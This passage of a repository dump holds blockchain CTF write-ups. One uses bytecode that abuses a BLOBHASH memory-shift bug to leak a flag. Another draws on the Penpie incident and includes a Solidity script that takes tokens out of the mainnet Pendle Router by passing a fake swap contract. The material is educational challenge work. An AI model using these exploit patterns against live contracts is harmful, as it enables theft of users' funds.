182 | After the memory shift, when it reads the `blob_hashes` length, it actually reads the 9th to 16th bytes of `gas_priority_fee`. For the `blob_hashes` element pointer, it reads the 1st to 8th bytes of `gas_priority_fee`. Therefore, we can control the value of `gas_priority_fee` to bypass the length check and make it read the flag!
183 |
184 | ### Exploit
185 |
186 | To read the `0x13370000` memory address, we can set `index = 0` and let it read `0x13370000` from `blobhash_ptr`. Additionally, `gas_priority_fee` should be at least `2**64` so it can read `1` for `blobhash_len` to bypass the length check. This will make the `BLOBHASH` opcode return the memory content of `0x13370000` to the EVM stack. The remaining steps involve trying to leak the stack element.
187 |
188 | ## My Solution
189 |
190 | The bytecode I used is `5f496004351c60011660145760015f5260205ff35b5f5ffd`:
191 |
192 | ```txt
193 | [00] PUSH0
194 | [01] BLOBHASH
195 | [02] PUSH1 04
196 | [04] CALLDATALOAD
197 | [05] SHR
198 | [06] PUSH1 01
199 | [08] AND
200 | [09] PUSH1 14
201 | [0b] JUMPI
202 | [0c] PUSH1 01
203 | [0e] PUSH0
204 | [0f] MSTORE
205 | [10] PUSH1 20
206 | [12] PUSH0
207 | [13] RETURN
208 | [14] JUMPDEST
209 | [15] PUSH0
210 | [16] PUSH0
211 | [17] REVERT
212 | ```
213 |
214 | It will call BLOBHASH with `index = 0` and shift the result based on call data to leak one bit of the stack element. The transaction will be reverted if the `i`-th bit of the stack element is `1`. When sending the transaction, we need to set the max priority fee to `2**64 + 0x13370000` to meet the above condition. After sending 256 transactions, we can recover the full flag.
215 |
216 | After checking the official solution, I found that it simply uses `LOG0` to log the stack element, which is more efficient!
217 |
218 | `6008600a5f3960095ff35f495f5260205fa000`
219 |
220 | ```txt
221 | [02] PUSH1 0a
222 | [04] PUSH0
223 | [05] CODECOPY
224 | [06] PUSH1 09
225 | [08] PUSH0
226 | [09] RETURN
227 | [0a] PUSH0
228 | [0b] BLOBHASH
229 | [0c] PUSH0
230 | [0d] MSTORE
231 | [0e] PUSH1 20
232 | [10] PUSH0
233 | [11] LOG0
234 | [12] STOP
235 | ```
236 |
--------------------------------------------------------------------------------
/writeup/oh-fuck-pendle.md:
--------------------------------------------------------------------------------
1 | # Oh Fuck (Pendle)
2 |
3 | Author: JesJupyter ([X/Twitter](https://x.com/jesjupyter))
4 |
5 | ## Background
6 |
7 | ### Introduction
8 | Tony's heart sank as he realized his million-dollar typo had accidentally sent a fortune to Pendle's immutable router contract. Help Tony recover his money.
9 |
10 |
11 | ### Pendle Incident
12 |
13 | Reference: https://threesigma.xyz/blog/penpie-exploit
14 |
15 | Pendle is a decentralized, permissionless protocol designed for yield trading, enabling users to implement a variety of yield management strategies.
16 |
17 | On September 3, 2024, at 6:23 PM UTC, a security vulnerability in the Penpie platform was exploited, resulting in the loss of over $27 million across the Arbitrum and Ethereum networks. The attacker created a fake Pendle market to manipulate rewards, inflating the staking balance and claiming unauthorized funds.
18 |
19 | The incident was caused by two major factors:
20 |
21 | - Lack of reentrancy protection in `PendleStaking::batchHarvestMarketRewards()`
22 | - Penpie’s acceptance of all Pendle Markets as valid pools, despite Pendle Markets, PT, and YT tokens being permissionlessly created.
23 |
24 |
25 | ## Analysis
26 |
27 | ### How Can We Retrieve The Stuck Funds?
28 |
29 | When we take a look at the `Challenge` contract, we can see that the token is directly transferred to `0x00000000005BBB0EF59571E58418F9a4357b68A0`.
30 |
31 | When we take a look at the code of `0x00000000005BBB0EF59571E58418F9a4357b68A0` via [etherscan](https://vscode.blockscan.com/ethereum/0x00000000005bbb0ef59571e58418f9a4357b68a0), we can see that it is a Pendle Router contract.
32 |
33 | **It's easy to think that the main idea may be related to the exploit in the Penpie article which could be like accepting all Pendle Markets/Swaps as valid pools.**
34 |
35 | Take a look at the `swapTokenToToken` function.
36 |
37 | ```solidity
38 | function swapTokenToToken(
39 | address receiver,
40 | uint256 minTokenOut,
41 | TokenInput calldata inp
42 | ) external payable returns (uint256 netTokenOut) {
43 | _swapTokenInput(inp);
44 |
45 | netTokenOut = _selfBalance(inp.tokenMintSy);
46 | if (netTokenOut < minTokenOut) {
47 | revert Errors.RouterInsufficientTokenOut(netTokenOut, minTokenOut);
48 | }
49 |
50 | _transferOut(inp.tokenMintSy, receiver, netTokenOut);
51 | }
52 | ```
53 |
54 | In the `_selfBalance`, the `balanceOf()` function is called for the given token.
55 |
56 | ```solidity
57 | function _selfBalance(address token) internal view returns (uint256) {
58 | return (token == NATIVE) ? address(this).balance : IERC20(token).balanceOf(address(this));
59 | }
60 | ```
61 |
62 | So, if we could make `inp.tokenMintSy` to be the token that the challenge contract has, we might be able to retrieve the stuck funds.
63 |
64 | Take a deep look at the `_swapTokenInput` code.
65 |
66 | ```solidity
67 | function _swapTokenInput(TokenInput calldata inp) internal {
68 | if (inp.tokenIn == NATIVE) _transferIn(NATIVE, msg.sender, inp.netTokenIn);
69 | else _transferFrom(IERC20(inp.tokenIn), msg.sender, inp.pendleSwap, inp.netTokenIn);
70 |
71 | IPSwapAggregator(inp.pendleSwap).swap{value: inp.tokenIn == NATIVE ? inp.netTokenIn : 0}(
72 | inp.tokenIn,
73 | inp.netTokenIn,
74 | inp.swapData
75 | );
76 | }
77 | ```
78 |
79 | So, apprently, there is no check on the `inp.pendleSwap` address, which is the address that Pendle Router is calling. So we can use our own contract as the `pendleSwap` address. It's easy to use `inp.tokenIn = NATIVE` since we already has some ETH in the current account. This is like the root cause of the Pendle incident sine all `inp.pendleSwap` are considered as valid.
80 |
81 | So attack path could be:
82 | 1. Create a fake Pendle Swap contract.
83 | 2. Call `swapTokenToToken` with `inp.pendleSwap` set to our fake Pendle Swap contract and `inp.tokenMintSy` set to the token that we want to retrieve.
84 | 3. Our fake Pendle Swap contract will pass the `swap` call and the contract will transfer the token that we want to retrieve via `_transferOut`.
85 |
86 | ### CTF Script
87 |
88 | ```solidity
89 | // SPDX-License-Identifier: UNLICENSED
90 | pragma solidity ^0.8.0;
91 |
92 | import "forge-std/Script.sol";
93 | import {Challenge} from "../src/Challenge.sol";
94 |
95 |
96 |
97 | struct SwapData {
98 | SwapType swapType;
99 | address extRouter;
100 | bytes extCalldata;
101 | bool needScale;
102 | }
103 |
104 | enum SwapType {
105 | NONE,
106 | KYBERSWAP,
107 | ONE_INCH,
108 | // ETH_WETH not used in Aggregator
109 | ETH_WETH
110 | }
111 |
112 | struct TokenInput {
113 | // Token/Sy data
114 | address tokenIn;
115 | uint256 netTokenIn;
116 | address tokenMintSy;
117 | // aggregator data
118 | address pendleSwap;
119 | SwapData swapData;
120 | }
121 |
122 | interface IRouter {
123 | function swapTokenToToken(
124 | address receiver,
125 | uint256 minTokenOut,
126 | TokenInput calldata inp
127 | ) external payable returns (uint256 netTokenOut);
128 | }
129 |
130 | contract PendleSwap {
131 | function swap(address tokenIn, uint256 amountIn, SwapData calldata swapData) external payable {
132 |
133 | }
134 | }
135 |
136 | contract TestScript is Script {
137 |
138 |
139 | function run() public {
140 | Challenge challenge = Challenge(CHALLENGE_ADDRESS);
141 | uint256 deployerPrivateKey = PRIVATE_KEY;
142 | address user = vm.addr(deployerPrivateKey);
143 | vm.startBroadcast(deployerPrivateKey);
144 |
145 | IRouter router = IRouter(0x00000000005BBB0EF59571E58418F9a4357b68A0);
146 | PendleSwap pendleSwap = new PendleSwap();
147 | TokenInput memory input = TokenInput(
148 | address(0),
149 | 1 ether,
150 | address(challenge.token()),
151 | address(pendleSwap),
152 | SwapData(SwapType.NONE, address(0), new bytes(0), false)
153 | );
154 | router.swapTokenToToken{value: 1 ether}(challenge.PLAYER(), 1 ether, input);
155 | require(challenge.isSolved(), "Not solved");
156 |
157 | vm.stopBroadcast();
158 | }
159 | }
160 |
161 | ```
--------------------------------------------------------------------------------
/writeup/template.md:
--------------------------------------------------------------------------------
1 | ### Challenge name (replace it)
2 |
3 | Author: name (X account or any link)
4 |
--------------------------------------------------------------------------------